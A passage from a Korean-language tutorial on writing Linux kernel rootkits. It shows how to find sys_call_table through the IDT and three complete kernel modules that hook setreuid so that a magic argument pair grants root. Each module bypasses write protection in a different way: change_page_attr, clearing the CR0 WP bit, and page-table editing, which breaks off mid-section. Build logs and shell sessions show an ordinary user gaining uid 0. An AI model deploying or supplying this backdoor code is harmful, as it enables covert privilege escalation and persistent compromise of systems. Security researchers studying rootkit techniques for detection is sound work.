((packed)) idtr; asm( "sidt %0" : "=m"(idtr) ); -------------------------------- idtr 구조체를 얻어오는 sidt 명령을 통하여 우리가 선언한 idtr 구조체에 저장합니다. 구조체의 limit 변수는 IDT table의 크기를 담고있으며 base 변수는 IDT table의 시작 주소를 가리키고 있습니다. 여기서 우리가 필요로 하는 것은 base 필드입니다. 계속해서 다음 코드를 살펴보겠습니다. ------------------------------------------------ unsigned int sys_offset; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; idt = (struct idt_gate *)( idtr.base + 0x80*8 ); ------------------------------------------------ sidt 명령으로 구했던 idtr 구조체의 base 값에서 0x80*8을 더한 값을 idt_gate 구조체가 가리키도록 하며, 이 때 해당 주소 값을 idt_gate 구조체 형으로 캐스팅 하여줍니다. 이는 IDT table의 system_call() 함수 주소를 구하기 위한 코드인데 IDT table의 시작 주소인 base 값에서 해당 함수의 위치를 가리키기 위하여 0x80*8을 더하여 줍니다. 여기서 *8을 한 이유는 IDT table 하나의 크기가 8byte 이기 때문입니다. 이를 확인하기 위해 다음과 같이 IDT table의 선언 부분을 살펴보겠습니다. ------------------------------ linux/arch/i386/kernel/traps.c ------------------------------------------------------------------------------------------ struct desc_struct idt_table[256] __attribute__((__section__(".data.idt"))) = { {0, 0}, }; ------------------------------------------------------------------------------------------ 여기서 desc_struct는 어떻게 정의되어 있는지, 실제로 8byte인지 살펴보겠습니다. ---------------------------------- linux/include/asm-i386/processor.h ---------------------------------- 29| struct desc_struct { 30| unsigned long a,b; 31| }; ---------------------------------- 위 선언에서 desc_struct 구조체는 두 개의 unsigned long 변수를 포함하고 있습니다. 32bit 시스템에서 unsigned long 선언 크기는 4byte를 취하며 구조체가 이 변수 두개를 포함하고 있으므로 결과적으로 IDT table 하나의 크기는 8byte가 됩니다. 계속해서 다음 코드를 보겠습니다. ----------------------------------------------- sys_offset = ((idt->off2) << 16) | (idt->off1); ----------------------------------------------- sys_offset에는 idt 구조체 포인터의 필드 값에 대한 연산 결과를 저장합니다. off1에는 system_call() 주소 값의 0-15 비트에 해당 하는 값이 저장 되어있고, off2에는 system_call() 주소 값의 16-31 비트에 해당하는 값이 저장되어 있습니다. 그래서 off2를 쉬프트 해서 왼쪽으로 16 비트 이동한 값과 off1의 값을 OR 연산한 결과가 최종적인 system_call()의 주소 값이 되는 것입니다. 다음과 같이 나타내면 이해가 더 쉽습니다. ----------------------------------------------------------- system_call() address = 0xc123abcd 1. off1 = 0xabcd 2. off2 = 0xc123 3. off2 << 16 = 0xc1230000 4. (off2 << 16) | (off1) = 0xc1230000 | 0xabcd = 0xc123abcd ----------------------------------------------------------- 이제 IDT table을 이용해서 sys_call_table의 주소를 찾는 마지막 루틴을 살펴보겠습니다. -------------------------------------------------------------------------------------------- int cnt; unsigned int sys_call_off; char pattern[] = "\xff\x14\x85"; for( cnt = 0 ; cnt < 500 ; cnt++, sys_call_off++ ) { if( !strncmp( (char *)sys_call_off , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_call_off +strlen(pattern)))); } return NULL; -------------------------------------------------------------------------------------------- 이전에 구했던 system_call() 함수의 시작 주소 값을 증가시키며 pattern 변수에 있는 값과 비교하는 작업을 반복합니다. 만약 패턴 값과 일치하는 부분을 찾으면 해당 주소 값에서 패턴 값의 길이를 더한 위치를 반환합니다. 여기서 패턴 값은 sys_call_table의 호출 부분에서 추추출한 것으로 해당 어셈블리 코드를 기계어로 나타내면 다음과 같습니다. -------------------------------------------- sys_call_table의 주소를 0x11223344 라고 가정 ------------------------------------------------------------------- [hkpco@ns kernel]$ cat code.s .section .text .globl _start _start: call *0x11223344(,%eax,4) // 컴파일 [hkpco@ns kernel]$ as code.s -o code.o [hkpco@ns kernel]$ ld code.o -o code // 디스어셈블 [hkpco@ns kernel]$ objdump -d code code: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: ff 14 85 44 33 22 11 call *0x11223344(,%eax,4) ------------------------------------------------------------------- sys_call_table의 주소를 0x11223344으로 가정하고 기계어 코드를 출력해 보면 [ff 14 85 44 33 22 11] 이라는 값이 나오는 것을 볼 수 있습니다. 여기서 [ff 14 85]를 패턴 값으로 정하고 system_call()의 시작 주소부터 한 바이트씩 증가시키며 [ff 14 85]와 일치 하는 주소를 찾으면 여기서 패턴의 길이(3byte)를 더해서 최종적으로 sys_call_table의 주소 값인 [44 33 22 11]을 구할 수 있는 것 입니다. 만약 500번의 반복문 안에 해당 패턴과 일치하는 부분을 찾을 수 없다면 NULL을 반환합니다. 쉬운 이해를 위해 해당 과정을 간단히 나타내면 다음과 같습니다. ------------------------------------------------ address of sys_call_table = 0x11223344 address of system_call() = 0xc0000000 OFFSET = 0xc0000000 OFFSET을 증가시키며 패턴 값(\xff\x14\x85)과 비교 만약 일치한다면 OFFSET이 가리키는 지점은 다음과 같음 ---------------------- ->ff 14 85 44 33 22 11 ---------------------- 여기서 패턴값의 길이(3byte)를 더해주면 OFFSET이 가리키는 지점은 다음과 같음 ---------------------- ff 14 85 ->44 33 22 11 ---------------------- 즉, 이는 sys_call_table의 주소가 됨 ------------------------------------------------ 지금까지 설명한 각 코드들이 조합된 최종 완성본은 다음과 같습니다. -------------------------------------------------------------------------------------------------- unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset +strlen(pattern)))); } return NULL; } -------------------------------------------------------------------------------------------------- 그럼 이제 실제 커널 모듈을 통하여 해당 코드가 정상적으로 동작하는지 테스트 해 보겠습니다. =- idt.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/sched.h> #include <asm/uaccess.h> #include <asm/unistd.h> void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset +strlen(pattern)))); } return NULL; } int __init hk_init( void ) { sys_call_table = (void **)get_sys_call_table(); if( sys_call_table == NULL ) { printk( KERN_ALERT "Can not found the sys_call_table address\n" ); return -1; } orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { sys_call_table[__NR_setreuid32] = orig_setreuid; printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= 다음은 소스 코드를 컴파일 하기위한 Makefile 입니다. =- Makefile -= obj-m := finding.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.ko rm -rf *.mod.* rm -rf .*.cmd rm -rf *.o =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. ---------------------------------------------------------------------------- [root@localhost kernel]# make make -C /lib/modules/2.6.11-1.1369_FC4smp/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' CC [M] /root/kernel/finding.o Building modules, stage 2. MODPOST CC /root/kernel/finding.mod.o LD [M] /root/kernel/finding.ko make[1]: Leaving directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' [root@localhost kernel]# insmod finding.ko ---------------------------------------------------------------------------- 마지막으로 hkpco 계정에서 루트킷이 정상 작동하는지 테스트 해보겠습니다. ------------------------------------------------------------------------------------ [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=user_u:system_r:unconfined_t [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.00# id uid=0(root) gid=0(root) groups=500(hkpco) context=user_u:system_r:unconfined_t ------------------------------------------------------------------------------------ 0x7. Goodbye Write Protection - Kernel API 특정 리눅스 배포판의 커널에서는 sys_call_table의 남용을 막기 위하여 sys_call_table을 .rdata 영역으로 이동시켜서 쓰기권한을 제거했습니다. 그래서 사용자가 작성한 임의의 함수로 sys_call_table의 특정 시스템 콜을 대체하려는 시도를 해도 해당 영역에 쓰기 권한이 없기 때문에 커널에서 에러를 발생시키게 됩니다. 다음은 실제로 sys_call_table의 사용을 막기 위하여 심볼을 .rdata로 이동 시킨 시스템에서 커널 모듈을 올렸을 때의 결과입니다. 해당 모듈은 이전 장에서 사용했던 hkm_sysmap.ko 입니다. --------------------------------------------------------------------------------------- [root@localhost kernel]# insmod hkm_sysmap.ko Segmentation fault [root@localhost kernel]# Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: Oops: 0003 [#1] Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: SMP Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: CPU: 1 Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: EIP is at hk_init+0x24/0x2c [hkm_sysmap] . . . Message from syslogd@localhost at Tue Jan 22 18:11:39 2008 ... localhost kernel: EIP: [<f8c0a046>] hk_init+0x24/0x2c [hkm_sysmap] SS:ESP 0068:f6171ec8 --------------------------------------------------------------------------------------- sys_call_table에 쓰기 권한이 없기 때문에 에러 메시지가 발생한것을 볼 수 있습니다. 권한을 직접 확인하기 위하여 System.map에 기록 된 sys_call_table의 정보를 살펴보겠습니다. ------------------------------------------------------------------------------ [root@localhost kernel]# cat /boot/System.map-`uname -r` | grep sys_call_table c06104e0 R sys_call_table ------------------------------------------------------------------------------ 첫 번째와 세 번째 필드는 각각 심볼의 주소값과 심볼 이름을 나타냅니다. 주목해야 할 부분은 두 번째 필드인데 여기서 뜻하는 R은 해당 심볼이 .rdata 영역에 존재한다는 뜻이며 다시말해 읽기 전용임을 의미합니다. 그래서 모듈을 커널에 로드할 때 sys_call_table 에 쓰기를 시도하는 코드에서 에러가 발생하게 되는 것입니다. 다음과 같습니다. ------------------------------------------------ orig_setreuid = sys_call_table[__NR_setreuid32]; // ERROR!! sys_call_table[__NR_setreuid32] = hk_setreuid; ------------------------------------------------ sys_call_table이 .rdata영역에 위치하는 시스템에서 sys_call_table을 이용하는 방법은 해당 권한을 바꾸어 주면 간단하게 해결 할 수 있습니다. 커널 영역에서 권한을 변경해 주는 함수의 원형은 다음과 같습니다. ----------------------------------- linux/include/asm-i386/cacheflush.h --------------------------------------------------------------------- int change_page_attr(struct page *page, int numpages, pgprot_t prot); --------------------------------------------------------------------- 첫 번째 인자는 속성을 변경할 가상 주소의 page 구조체, 두 번째 인자는 페이지의 갯수, 세 번째 인자는 변경할 권한을 담은 prot 구조체가 됩니다. 여기서 변경을 원하는 sys_call_table은 현재 가상 주소 상태로 볼 수 있으며 change_page_attr() 함수의 첫 번째 인자에 적용하기 위해서는 가상 주소의 page 구조체를 구해야 합니다. 다음은 가상 주소의 page 구조체를 반환하는 매크로입니다. ----------------------------- linux/include/asm-i386/page.h ---------------------------------------------------------------------- #define virt_to_page(kaddr) pfn_to_page(__pa(kaddr) >> PAGE_SHIFT) ---------------------------------------------------------------------- 또 하나 중요한 것은 change_page_attr() 함수를 실제 구현해 놓은 [linux/arch/i386/mm/pageattr.c]에 기술 된 주석문을 읽어 보면 함수 사용 뒤에는 반드시 global_flush_tlb() 함수를 호출해야 한다고 언급하고 있습니다. global_flush_tlb() 함수는 TLB cache를 비워주는 작업을 수행하며 다음과 같이 정의되어 있습니다. ----------------------------------- linux/include/asm-i386/cacheflush.h ----------------------------------- void global_flush_tlb(void); ----------------------------------- 여기서 TLB란, 변환 참조 버퍼(Translation Lookaside Buffer)의 약자이며 가상 주소를 물리 주소로 변환하는 작업의 효율성을 위해 만들어진 것입니다. 변경된 물리 주소와 권한 정보를 메모리 보다 접근 시간이 빠른 캐시 메모리, 즉 TLB 엔트리에 저장해 둔 이후 다음번에 변환 작업을 수행할 때는 TLB를 참고하여 접근 속도를 향상시키는 역할을 합니다. CPU가 특정 페이지(Page)에 접근할 때는 주소 변환을 위해 TLB 엔트리를 탐색한 뒤 정보를 찾을 수 없다면 메모리에 있는 페이지에 접근하는데 만약 특정 페이지의 속성이 변경될 경우에는 메모리상의 페이지 테이블 엔트리(PTE)의 속성은 바뀌지만 캐시 메모리인 TLB 엔트리의 속성은 변경되지 않을 수도 있습니다. 그래서 페이지 권한 변경 후에는 global_flush_tlb() 함수와 같이 TLB 엔트리를 비워주는 작업을 수행하면 이후에 변경 된 권한의 페이지에 접근할 경우 TLB 엔트리가 비어있으므로 수정 된 정보로 새롭게 업데이트 되는 것입니다. 정리하면, 페이지 속성을 변경하면 메인 메모리상의 정보는 변경되지만 캐시 메모리에 존재하는 TLB 엔트리에 저장된 페이지의 속성 정보는 변경되지 않을 수도 있음에도 불구하고 커널은 캐시를 비워주는 작업을 알아서 수행하지 않습니다. 이러한 경우 때문에 직접 TLB 엔트리를 비우고 새로운 정보로 채워지게 하기 위해서 속성 변경 이후에 반드시 global_flush_tlb() 함수를 사용하는 것입니다. 지금까지 소개한 change_page_attr(), virt_to_page(), global_flush_tlb()를 이용하여 sys_call_table에 쓰기 권한을 추가시키는 루틴은 다음과 같습니다. ----------------------------------------------- 1 | struct page *pg; 2 | pgprot_t prot; 3 | 4 | pg = virt_to_page(sys_call_table); 5 | prot.pgprot = VM_READ | VM_WRITE | VM_EXEC; 6 | 7 | change_page_attr( pg , 1 , prot ); 8 | global_flush_tlb(); ----------------------------------------------- 1, 2번째 라인에서 각각 페이지 정보를 가리키기 위한 구조체 포인터와 권한 설정을 위한 pgprot_t 구조체 변수를 선언합니다. 4번째 라인에서는 virt_to_page() 매크로를 통하여 반환 된 sys_call_table의 페이지 구조체를 pg가 가리키고 있습니다. 5번째 라인에서는 읽기, 쓰기, 실행 속성을 부여하기 위해 각 플래그를 OR 연산한 값을 저장합니다. 마지막 7, 8 번째 라인은 sys_call_table의 권한을 변경하고 TLB 엔트리를 비워주는 작업을 수행합니다. 다음은 이전에 설명했던 hkm_sysmap.c에 해당 루틴을 추가시킨 코드입니다. =- hkm_sysmap-api.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/sched.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include <asm-i386/cacheflush.h> void **sys_call_table = (void **)0xc06104e0; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } int __init hk_init( void ) { /* sys_call_table 속성 변경 루틴 시작 */ struct page *pg; pgprot_t prot; pg = virt_to_page(sys_call_table); prot.pgprot = VM_READ | VM_WRITE | VM_EXEC; change_page_attr( pg , 1 , prot ); global_flush_tlb(); /* sys_call_table 속성 변경 루틴 끝 */ orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { sys_call_table[__NR_setreuid32] = orig_setreuid; printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= 다음은 해당 소스 코드를 컴파일 하기위한 Makefile입니다. =- Makefile -= obj-m := hkm_sysmap-api.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.ko rm -rf *.mod.* rm -rf .*.cmd rm -rf *.o =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. ------------------------------------------------------------------------- [root@localhost kernel]# make make -C /lib/modules/2.6.18-1.2798.fc6/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.18-1.2798.fc6-i586' CC [M] /root/kernel/hkm_sysmap-api.o Building modules, stage 2. MODPOST CC /root/kernel/hkm_sysmap-api.mod.o LD [M] /root/kernel/hkm_sysmap-api.ko make[1]: Leaving directory `/usr/src/kernels/2.6.18-1.2798.fc6-i586' [root@localhost kernel]# insmod hkm_sysmap-api.ko ------------------------------------------------------------------------- 마지막으로 hkpco 계정에서 루트킷이 정상 작동하는지 테스트 해보겠습니다. ------------------------------------------------------------------------------------------------------- [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.1# id uid=0(root) gid=0(root) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh ------------------------------------------------------------------------------------------------------- 처음부터 쓰기 속성이 존재하는 시스템을 위해서 sys_call_table의 속성을 미리 체크하는 작업이 추가되어야 하지만 아직까진 이러한 함수가 존재하지 않으므로 직접 속성을 체크하는 코드를 제작해야 합니다. 하지만 그렇게 되면 전체적인 코드가 더 복잡해 지고 원래 쓰기 속성이 있는 페이지에 한번 더 쓰기 속성을 추가하는 작업을 수행한다고 해도 특별히 문제될 것은 없으므로 본 문서에서는 생략 하도록 하겠습니다. 0x8. Goodbye Write Protection - WP bit in CR0 Register CPU 기능의 제어를 위하여 제공되는 컨트롤 레지스터들 중 하나인 CR0의 WP(Write Protect) 비트를 변경하여 페이지의 쓰기 권한을 무력화 시키는 방법입니다. 다음은 CR0 레지스터의 각 비트가 의미하는 것에 대하여 간단히 도식화 한 것입니다. 0 1 2 3 4 5 6 15 16 17 18 19 28 29 30 31 ------------------------------------------------------------------------------------------------- | PE | MP | EM | TS | ET | NE | Reserved | WP | Reserved | AM | Reserved | NW | CD | PG | ------------------------------------------------------------------------------------------------- PE Paging MP Monitor co-Processor EM EMulation TS Task Switched ET Extension Type NE Numeric Error WP Write Protect AM Alignment Mask NW Not-Write through CD Cache Disable PG Paging 여기서 우리가 필요한 것은 WP 비트입니다. WP 비트는 페이지의 쓰기 속성을 제어하는 역할을 하는데 만약 해당 비트가 0(off)으로 설정되어 있다면 이러한 페이지의 쓰기 속성 제어 기능이 해제되며 결과적으로 읽기 전용 속성인 sys_call_table에 쓰기가 가능하게 되는 것입니다. 다음은 인라인 어셈블리를 이용하여 CR0 레지스터의 WP 비트를 0(off)으로 설정하는 코드입니다. -------------------------------------- __asm__ __volatile__ ( "pushl %eax\n\t" "pushl %ebx\n\t" "movl %cr0, %eax\n\t" "movl $0x10000, %ebx\n\t" "notl %ebx\n\t" "andl %ebx, %eax\n\t" "movl %eax, %cr0\n\t" "popl %ebx\n\t" "popl %eax" ); -------------------------------------- eax, ebx 레지스터의 사용을 위하여 기존의 데이터를 스택에 잠시 저장해둔 뒤 cr0 레지스터의 데이터를 eax 레지스터에 저장한 다음 WP 비트를 의미하는 값인 0x10000을 ebx 레지스터에 저장하고 NOT 연산을 수행합니다. 이 작업은 WP를 제외한 나머지 비트들의 값이 1이기 때문에 eax(cr0) 레지스터와 AND 연산을 수행하여 WP 비트를 0(off)으로 설정할 수 있습니다. 마지막으로 AND 연산의 결과값이 저장된 eax 레지스터의 데이터를 cr0 레지스터에 저장한 뒤 pop 명령을 이용하여 작업 이전에 저장한 스택상의 eax, ebx 레지스터 값 을 원래대로 되돌려줍니다. 다음은 인라인 어셈블리를 이용하여 CR0 레지스터의 WP 비트를 1(on)으로 설정하는 코드입니다. ---------------------------------------- __asm__ __volatile__ ( "pushl %eax\n\t" "movl %cr0, %eax\n\t" "orl $0x10000, %eax\n\t" "movl %eax, %cr0\n\t" "popl %eax" ); ---------------------------------------- eax 레지스터의 사용을 위하여 기존의 데이터를 스택에 잠시 저장해둔 뒤 cr0 레지스터의 데이터를 eax 레지스터에 저장한 다음 WP 비트를 뜻하는 값인 0x10000과 eax(cr0) 레지스터의 데이터를 OR 연산한 결과를 cr0 레지스터에 저장하는 과정을 통하여 WP 비트를 1(on)로 설정합니다. 지금까지 설명했던 CR0 레지스터를 읽고 쓰는 작업의 편의성을 위하여 read_cr0()과 write_cr0()이라는 두 개의 매크로가 정의되어 있으며 그에 대한 원형은 다음과 같습니다. ------------------------------- linux/include/asm-i386/system.h --------------------------------------------- #define read_cr0() (native_read_cr0()) #define write_cr0(x) (native_write_cr0(x)) --------------------------------------------- read_cr0(), write_cr0()을 의미하는 native_read_cr0()와 native_write_cr0()의 정의는 다음과 같습니다. ------------------------------- linux/include/asm-i386/system.h ------------------------------------------------------ static inline unsigned long native_read_cr0(void) { unsigned long val; asm volatile("movl %%cr0,%0\n\t" :"=r" (val)); return val; } static inline void native_write_cr0(unsigned long val) { asm volatile("movl %0,%%cr0": :"r" (val)); } ------------------------------------------------------ native_read_cr0() 매크로는 cr0 레지스터의 값을 리턴, native_write_cr0() 매크로는 인자로 주어진 값을 cr0 레지스터에 저장하는 작업을 수행합니다. 다음은 read_cr0()과 write_cr0() 매크로를 이용하여 cr0 레지스터의 WP 비트를 ON/OFF 하는 코드입니다. ---------------------------------------- CR0 레지스터의 WP 비트를 끄는(OFF) 코드 -> write_cr0( read_cr0() & (~0x10000) ); CR0 레지스터의 WP 비트를 켜는(ON) 코드 -> write_cr0( read_cr0() | 0x10000 ); ---------------------------------------- 첫 번째 코드는 read_cr0() 매크로를 통하여 CR0 레지스터의 값을 가져온 뒤 WP 비트를 의미하는 0x10000의 NOT 연산 값과 서로 AND 연산을 한 값을 write_cr0() 매크로를 이용해서 CR0 레지스터에 저장하여 WP 비트를 끄는(OFF) 작업을 수행합니다. 두 번째 코드는 read_cr0() 매크로를 통하여 CR0 레지스터의 값을 가져온 뒤 WP 비트를 의미하는 0x10000와 서로 OR 연산을 한 값을 write_cr0() 매크로를 이용해서 CR0 레지스터에 저장하여 WP 비트를 켜는(ON) 작업을 수행합니다. 이렇게 매크로를 사용하거나 직접 인라인 어셈블리를 이용해서 CR0 레지스터의 WP 비트를 끄고 켜는 작업으로 간단히 페이지의 쓰기 속성을 무의미하게 만들 수 있습니다. 다음은 이번 장에서 소개한 내용을 실제로 구현한 루틴을 이전에 테스트 했던 hkm_idt.c 소스 코드에 추가한 것입니다. 간단한 설명은 주석으로 대체하였습니다. =- hkm_idt-wp.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/sched.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include <asm/system.h> void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset +strlen(pattern)))); } return NULL; } int __init hk_init( void ) { sys_call_table = (void **)get_sys_call_table(); write_cr0( read_cr0() & (~0x10000) ); // cr0 레지스터의 wp 비트를 끄는 코드 orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; write_cr0( read_cr0() | 0x10000 ); // cr0 레지스터의 wp 비트를 켜는 코드 printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { write_cr0( read_cr0() & (~0x10000) ); // cr0 레지스터의 wp 비트를 끄는 코드 sys_call_table[__NR_setreuid32] = orig_setreuid; write_cr0( read_cr0() | 0x10000 ); // cr0 레지스터의 wp 비트를 켜는 코드 printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. ----------------------------------------------------------------------- [root@localhost kernel]# make make -C /lib/modules/2.6.23.1-42.fc8/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' CC [M] /root/kernel/hkm_idt-wp.o Building modules, stage 2. MODPOST 1 modules CC /root/kernel/hkm_idt-wp.mod.o LD [M] /root/kernel/hkm_idt-wp.ko make[1]: Leaving directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' [root@localhost kernel]# insmod hkm_idt-wp.ko ----------------------------------------------------------------------- 마지막으로 hkpco 계정에서 루트킷이 정상 작동하는지 테스트 해보겠습니다. ------------------------------------------------------------------------------------------------------- [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.2# id uid=0(root) gid=0(root) groups=500(hkpco) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023 ------------------------------------------------------------------------------------------------------- 테스트로 만든 루트킷의 기능을 통하여 권한을 획득한 것을 볼 수 있습니다. cr0 레지스터의 wp 비트를 이용해서 sys_call_table을 비롯한 모든 페이지의 쓰기 제어를 무의미하게 만들었으며 이는 다른 방법에 비하여 코드가 간결해진다는 장점이 있습니다. 0x9. Goodbye Write Protection - Page Attribute 읽기 전용인 sys_call_table의 페이지를 직접 찾아서 해당 속성을 변경해 주는 방법으로 속성을 변경하는 대상이 sys_call_table에 국한되어 있기 때문에 가장 안정적인 방법입니다. 이를 위해서는 우선 리눅스의 페이징 과정을 이해해야 하는데 그에 관한 네 가지 유형은 다음과 같습니다. --------------------------------------------- + 페이지 전역 디렉토리(Page Global Directory) + 페이지 상위 디렉토리(Page Upper Directory) + 페이지 중간 디렉토리(Page Middle Directory) + 페이지 테이블(Page Table) --------------------------------------------- 페이지 전역 디렉토리는 여러 페이지 상위 디렉토리의 주소를 포함하고 페이지 상위 디렉토리는 여러 페이지 중간 디렉토리의 주소를 포함하며, 페이지 중간 디렉토리는 여러 페이지 테이블의 주소를 포함합니다. 각 페이지 테이블 엔트리는 실제 물리 주소를 의미하는 페이지 프레임을 가리키기 됩니다. 가상 주소에서 물리 주소로 찾아가는 과정을 간단히 나타내면 다음과 같습니다. -------------------------------------------------------------------------------------------------- Page Global Directory -> Page Upper Directory -> Page Middle Directory -> Page Table -> Page Frame -------------------------------------------------------------------------------------------------- 32비트 시스템에서는 전역 디렉토리와 페이지 테이블로 구성된 2단계 페이징 또는, 전역 디렉토리, 중간 디렉토리, 페이지 테이블로 구성된 3단계 페이징으로도 충분하기 때문에 위 과정을 모두 수행하지 않으며 64비트 시스템에서는 3단계 페이징이나 위 과정 모두를 포함하는 4단계 페이징을 수행합니다. 가상 주소에서 페이지 테이블 주소를 알아내는 코드는 다음과 같습니다. -------------------------------------------- pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; pgd = pgd_offset_k( linear_addr ); pud = pud_offset( pgd, linear_addr ); pmd = pmd_offset( pud, linear_addr ); pte = pte_offset_kernel( pmd, linear_addr ); -------------------------------------------- 코드를 간결하게 나타내기 위하여 에러 체크는 따로 하지 않았습니다. 이제 위 코드에서 사용된 매크로들을 알아보겠습니다. -------------------------------- linux/include/asm-i386/pgtable.h -------------------------------------------------------------- #define pgd_offset_k(address) pgd_offset(&init_mm, address) #define pgd_offset(mm, address) 